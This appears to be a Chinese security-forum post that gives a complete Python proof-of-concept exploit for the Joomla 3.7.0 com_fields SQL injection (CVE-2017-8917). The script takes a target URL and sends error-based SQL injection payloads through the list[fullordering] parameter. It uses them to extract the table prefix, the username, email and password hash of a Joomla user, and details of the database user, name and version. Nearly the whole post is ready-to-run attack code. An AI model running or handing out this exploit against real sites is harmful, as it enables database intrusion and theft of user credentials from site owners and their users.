POC Joomla 3.7.0 SQL注入(CVE-2017-8917)

[Shacker已验证会员]

# Exploit Joomla 3.7.0 'com_fields' SQL Injection
# CVE : CVE-2017-8917
# Author :  SiopySh <[email protected]>

import requests
from bs4 import BeautifulSoup
from art import *

print("Joomla CVE")
print("--- Version : Joomla 3.7.0 ---")
print("--- Date : 05/27/2021 ---")
print("--- CVE : CVE-2017-8917 ---")
print("--- Exploit Author : SiopySh <[email protected]> - Twitter @siopysh ---")
print(" ")

ip = input("URL (ex: http://10.10.10.10/) : ")

url = ip + "index.php?option=com_fields&view=fields&layout=modal&list[fullordering]="

def processPayload(payload):
    page = requests.get(url+payload)
    soup = BeautifulSoup(page.text, 'html.parser')
    response = soup.find_all('blockquote')[0].get_text().split('~~~')[1]
    return response

print(" ")
prefix = processPayload("1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,hex(table_name),0x7e7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))=1")
prefix = bytes.fromhex(prefix).decode('utf-8').split('_')[0]
print("* Database prefix : " + prefix)
print("* Joomla user : " + processPayload(f"1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(username,1,20),0x7e7e7e)/**/from/**/{prefix}_users/**/limit/**/0,1)))=1"))
print("* Joomla user mail : " + processPayload(f"1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(email,1,20),0x7e7e7e)/**/from/**/{prefix}_users/**/limit/**/0,1)))=1"))

searchpassword = True
password = ""
index = 1

while(searchpassword):
    payload_password = f"1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(password,{index},10),0x7e7e7e)/**/from/**/{prefix}_users/**/limit/**/0,1)))=1"
    page = requests.get(url+payload_password)
    soup = BeautifulSoup(page.text, 'html.parser')
    response = soup.find_all('blockquote')[0].get_text().split('~~~')[1]
    if(response == ""):
        searchpassword = False
    else:
        password += response
        index+=10
print("* Joomla user password : " + password)

print("* Database user : " + processPayload("1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(user(),1,20),0x7e7e7e))))=1"))
print("* Database name : " + processPayload("1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(database(),1,20),0x7e7e7e))))=1"))
print("* Database version : " + processPayload("1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(version(),1,20),0x7e7e7e))))=1"))

 

POC  Joomla 3.4.6-RCE（CVE-2015-8562）漏洞

POC  com_fields组件